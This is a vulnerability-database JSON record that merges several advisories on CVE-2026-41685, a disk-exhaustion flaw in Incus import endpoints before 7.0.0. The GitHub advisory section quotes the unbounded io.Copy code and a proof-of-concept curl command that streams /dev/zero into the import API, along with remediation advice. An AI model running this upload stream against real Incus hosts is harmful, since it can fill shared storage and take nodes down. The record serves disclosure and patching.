{"id":"EUVD-2026-28374","revision":null,"records":[{"revision":"a73247bbad9342e68e99df1e9f743542","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-41685","aliases":[],"title":"Incus: Unbounded binary import disk exhaustion","description":"Incus is a system container and virtual machine manager. Prior to version 7.0.0, uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is limited for anyone using storage.images_volume and storage.backups_volume as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS. This issue has been patched in version 7.0.0.","state":0,"publishedAt":"2026-05-07T13:09:34.982+00:00","modifiedAt":"2026-05-07T13:50:17.247+00:00","affected":[{"ecosystem":"Vendor product","name":"incus","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"lxc\",\n                    \"product\": \"incus\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 7.0.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","score":4.3,"severity":"MEDIUM"}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-98vh-x9cx-9cfp","https://github.com/lxc/incus/releases/tag/v7.0.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-41685","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-41685","identifiers":["CVE-2026-41685"]},"retained":false,"historicalAffected":[]},{"revision":"8a72beb93742427a90014e2e403e897b","observedAt":"2026-11-01T23:05:10.057+00:00","statement":{"source":"euvd","id":"EUVD-2026-28374","aliases":["CVE-2026-41685","GHSA-98vh-x9cx-9cfp"],"title":"Incus is a system container and virtual machine manager. Prior to version 7.0.0, uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is …","description":"Incus is a system container and virtual machine manager. Prior to version 7.0.0, uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is limited for anyone using storage.images_volume and storage.backups_volume as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS. This issue has been patched in version 7.0.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","score":4.3,"severity":null}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-98vh-x9cx-9cfp","https://github.com/lxc/incus/releases/tag/v7.0.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-28374","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 7, 2026, 1:09:34 PM","dateUpdated":"May 7, 2026, 1:50:17 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-28374","identifiers":["EUVD-2026-28374","CVE-2026-41685","GHSA-98vh-x9cx-9cfp"]},"retained":false,"historicalAffected":[]},{"revision":"278be20e817749c9a5a51e3ae31e45dc","observedAt":"2026-10-27T10:10:19.004+00:00","statement":{"source":"nvd","id":"CVE-2026-41685","aliases":[],"title":"Incus is a system container and virtual machine manager. Prior to version 7.0.0, uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is …","description":"Incus is a system container and virtual machine manager. Prior to version 7.0.0, uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system. The impact here is limited for anyone using storage.images_volume and storage.backups_volume as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS. This issue has been patched in version 7.0.0.","state":0,"publishedAt":"2026-05-07T14:16:03.5+00:00","modifiedAt":"2026-10-26T20:10:00.16+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","score":4.3,"severity":"MEDIUM"}],"references":["https://github.com/lxc/incus/releases/tag/v7.0.0","https://github.com/lxc/incus/security/advisories/GHSA-98vh-x9cx-9cfp"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41685","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-770"],"productCriteria":["cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-07T14:16:03.500","lastModified":"2026-10-26T20:10:00.160"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-41685","identifiers":["CVE-2026-41685"]},"retained":false,"historicalAffected":[]},{"revision":"2519427ea6294d169d9dd0d845f23503","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-98vh-x9cx-9cfp","aliases":["CVE-2026-41685","GO-2026-5280"],"title":"Incus is affected by unbounded binary import disk exhaustion","description":"### Summary\nUploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system.\n\nThe impact here is limited for anyone using `storage.images_volume` and `storage.backups_volume` as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS.\n\n### Details\nMultiple binary import paths accept application/octet-stream requests and stream the HTTP request body directly into temporary files on the host without any visible request-size limit on the upload path.\n\nWhen these endpoints receive binary content, the daemon routes the request body into import routines that create temporary files under daemon-controlled host storage locations and copy the full attacker-controlled stream into them using direct io.Copy operations. This write occurs before the uploaded content is fully parsed and before later validation can reject the import.\n\nBecause no visible http.MaxBytesReader, io.LimitReader, quota-aware wrapper, or equivalent size-enforcement mechanism is present around these upload paths, an authenticated attacker can supply an arbitrarily large continuous stream of data. This causes the daemon to keep writing unbounded input to host storage until the operation fails or the underlying file system is exhausted. In a multi-tenant deployment, this can be used to consume shared disk space and cause denial of service on the node.\n\nThe binary import handlers are reachable through application/octet-stream request paths in the instance backup import, storage bucket import, and storage volume import flows, where the request body is passed directly into import helpers handling backup and ISO uploads.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/instances_post.go \n\nAffected Code:\n```\nfunc createFromBackup(s *state.State, r *http.Request, projectName string, data io.Reader, pool string, instanceName string, config string, device string) response.Response {\n    reverter := revert.New()\n    defer reverter.Fail()\n\n    // Create temporary file to store uploaded backup data.\n    backupFile, err := os.CreateTemp(internalUtil.VarPath(\"backups\"), fmt.Sprintf(\"%s_\", backup.WorkingDirPrefix))\n    if err != nil {\n        return response.InternalError(err)\n    }\n\n    defer func() { _ = os.Remove(backupFile.Name()) }()\n    reverter.Add(func() { _ = backupFile.Close() })\n\n    // Stream uploaded backup data into temporary file.\n    _, err = io.Copy(backupFile, data)\n    if err != nil {\n        return response.InternalError(err)\n    }\n    [...]\n}\n```\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storage_buckets.go \n\nAffected Code:\n```\nfunc createStoragePoolBucketFromBackup(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, bucketName string) response.Response {\n    [...]\n    backupFile, err := os.CreateTemp(internalUtil.VarPath(\"backups\"), fmt.Sprintf(\"%s_\", backup.WorkingDirPrefix))\n    [...]\n    _, err = io.Copy(backupFile, data)\n    [...]\n}\n```\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storage_volumes.go \n\nAffected Code:\n```\nfunc createStoragePoolVolumeFromBackup(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response {\n    [...]\n    backupFile, err := os.CreateTemp(internalUtil.VarPath(\"backups\"), fmt.Sprintf(\"%s_\", backup.WorkingDirPrefix))\n    [...]\n    _, err = io.Copy(backupFile, data)\n    [...]\n}\n\n[...]\n\nfunc createStoragePoolVolumeFromISO(s *state.State, r *http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response {\n    [...]\n    isoFile, err := os.CreateTemp(internalUtil.VarPath(\"isos\"), fmt.Sprintf(\"%s_\", \"incus_iso\"))\n    [...]\n    size, err := io.Copy(isoFile, data)\n    [...]\n}\n```\n\n### PoC\nThe following PoC demonstrates one reachable instance of this issue through the instance import endpoint. The same unbounded upload-to-tempfile pattern is also present in storage bucket backup import, storage volume backup import, and storage volume ISO import handlers.\n\nStep 1: Trigger the sustained upload stream\n\nFrom an Incus client with access to the target server, open a long-lived application/octet-stream upload and continuously stream null bytes into the instance import endpoint. Using timeout 120 limits the reproduction to two minutes while still demonstrating that the daemon keeps writing attacker-controlled input for as long as the connection remains open.\n\nCommands:\n```\necho \"[*] Initiating a 2-minute sustained disk exhaustion attack...\"\n\ntimeout 120 cat /dev/zero | curl -k -X POST \\\n  --cert ~/.config/incus/client.crt \\\n  --key ~/.config/incus/client.key \\\n  \"https://7atest.dev.stgraber.org:443/1.0/instances?project=default\" \\\n  -H \"Content-Type: application/octet-stream\" \\\n  -T -\n```\n\nStep 2: Verify host-side disk growth during the upload\n\nOn the Incus host, observe the temporary backup file being actively written under the backups directory while the client keeps the stream open.\n\nCommand:\n```\nwatch -n 1 \"ls -lh /var/lib/incus/backups/\"\n```\n\nResult:\n```\ntotal 100M\ndrwx------ 2 root root 4.0K Mar  1 22:44 custom\n-rw------- 1 root root 100M Mar 23 10:46 incus_backup_2743299426\ndrwx------ 2 root root 4.0K Mar  1 22:44 instances\n\ntotal 106M\ndrwx------ 2 root root 4.0K Mar  1 22:44 custom\n-rw------- 1 root root 106M Mar 23 10:46 incus_backup_2743299426\ndrwx------ 2 root root 4.0K Mar  1 22:44 instances\n\ntotal 110M\ndrwx------ 2 root root 4.0K Mar  1 22:44 custom\n-rw------- 1 root root 110M Mar 23 10:46 incus_backup_2743299426\ndrwx------ 2 root root 4.0K Mar  1 22:44 instances\n\ntotal 113M\ndrwx------ 2 root root 4.0K Mar  1 22:44 custom\n-rw------- 1 root root 113M Mar 23 10:46 incus_backup_2743299426\ndrwx------ 2 root root 4.0K Mar  1 22:44 instances\n```\n\nStep 3: Observe post-stream failure behavior\n\nWhen the client-side timeout expires, the upload is interrupted locally and the stream stops. In this reproduction, that means the process is terminated before any later import-stage error is surfaced back to the client. This does not mitigate the issue during the active upload window, because io.Copy continues writing to disk for as long as the attacker keeps the stream open.\n\nIt is recommended to enforce a maximum request size or quota-aware upload limit in the affected binary import paths before any data is written to disk. The incoming request body should be wrapped with http.MaxBytesReader, io.LimitReader, or an equivalent quota-aware mechanism so that oversized uploads fail safely before consuming unbounded host storage. By contrast, other upload flows such as image upload appear to use internalIO.NewQuotaWriter(..., budget) when persisting request data, but no analogous quota enforcement is visible in the affected binary import handlers.\n\nA patch is available at https://github.com/lxc/incus/releases/tag/v7.0.0.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)","state":0,"publishedAt":"2026-05-04T19:46:32+00:00","modifiedAt":"2026-06-25T23:11:35.6754166+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus/v6/cmd/incusd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"6.23.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-98vh-x9cx-9cfp","https://nvd.nist.gov/vuln/detail/CVE-2026-41685","https://github.com/lxc/incus","https://github.com/lxc/incus/releases/tag/v7.0.0"],"sourceUrl":"https://github.com/advisories/GHSA-98vh-x9cx-9cfp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-98vh-x9cx-9cfp","identifiers":["GHSA-98vh-x9cx-9cfp","CVE-2026-41685","GO-2026-5280"]},"retained":false,"historicalAffected":[]},{"revision":"062bcc5839274f8ca1785f2a375c839b","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5280","aliases":["CVE-2026-41685","GHSA-98vh-x9cx-9cfp"],"title":"Incus is affected by unbounded binary import disk exhaustion in github.com/lxc/incus","description":"Incus is affected by unbounded binary import disk exhaustion in github.com/lxc/incus","state":0,"publishedAt":"2026-06-25T22:34:31+00:00","modifiedAt":"2026-06-25T23:00:16.0706087+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v6","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lxc/incus/security/advisories/GHSA-98vh-x9cx-9cfp","https://nvd.nist.gov/vuln/detail/CVE-2026-41685","https://github.com/lxc/incus/releases/tag/v7.0.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5280","license":"OSV · upstream source license applies","key":"osv:GO-2026-5280","identifiers":["GO-2026-5280","CVE-2026-41685","GHSA-98vh-x9cx-9cfp"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-02T16:59:10.1690873+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-02T16:59:10.1690873+00:00","lastSuccessAt":"2026-11-02T16:59:10.3116254+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:59:10.3116261+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-37087f5ac35d6d996bd0480d4228062695465d95096b336bdfd509d8efa3a1e5-84aaed8dccc4cedba653bef65981e073d8c5c12f4ff4b05530eb210ffb1705c4","complete":true,"records":417922,"lastAttemptAt":"2026-11-02T16:57:24.2192862+00:00","lastSuccessAt":"2026-11-02T16:57:24.1330437+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:57:24.2192862+00:00","snapshotPublishedAt":"2026-11-02T16:30:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3afbfcfae1fe455bbc5a5006f95b2df4","complete":true,"records":13568,"lastAttemptAt":"2026-11-02T16:59:11.5322103+00:00","lastSuccessAt":"2026-11-02T11:59:30.621+00:00","error":null,"lastVerifiedAt":"2026-11-02T11:59:30.621+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-02T16:59:10.1690873+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-02T16:59:10.1690873+00:00","lastSuccessAt":"2026-11-02T16:59:10.3123623+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:59:10.3123624+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a52593857bad4381a86db8a8b44be613","complete":true,"records":13580,"lastAttemptAt":"2026-11-02T16:59:10.8868787+00:00","lastSuccessAt":"2026-11-02T15:57:47.378+00:00","error":null,"lastVerifiedAt":"2026-11-02T15:57:47.378+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-02T16:59:09.9326132+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:59:09.9326132+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-02T16:57:24.3688876+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:57:24.3688876+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-5eac0f41c5234939771ec81ee6dcecba911c3ba21e363f4cecd95fcede18b96b","complete":true,"records":3035,"lastAttemptAt":"2026-11-02T16:59:10.128203+00:00","lastSuccessAt":"2026-11-02T13:57:36.6498985+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:59:10.128203+00:00","snapshotPublishedAt":"2026-11-02T12:18:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-204813e4df71f7a2214cb16c924f482af6e49a4adf7efb0aebb0bd02e4e23b8c","complete":true,"records":231027,"lastAttemptAt":"2026-11-02T16:59:09.7642824+00:00","lastSuccessAt":"2026-11-02T16:59:08.3366694+00:00","error":null,"lastVerifiedAt":"2026-11-02T16:59:09.7642824+00:00","snapshotPublishedAt":"2026-11-02T16:33:40+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}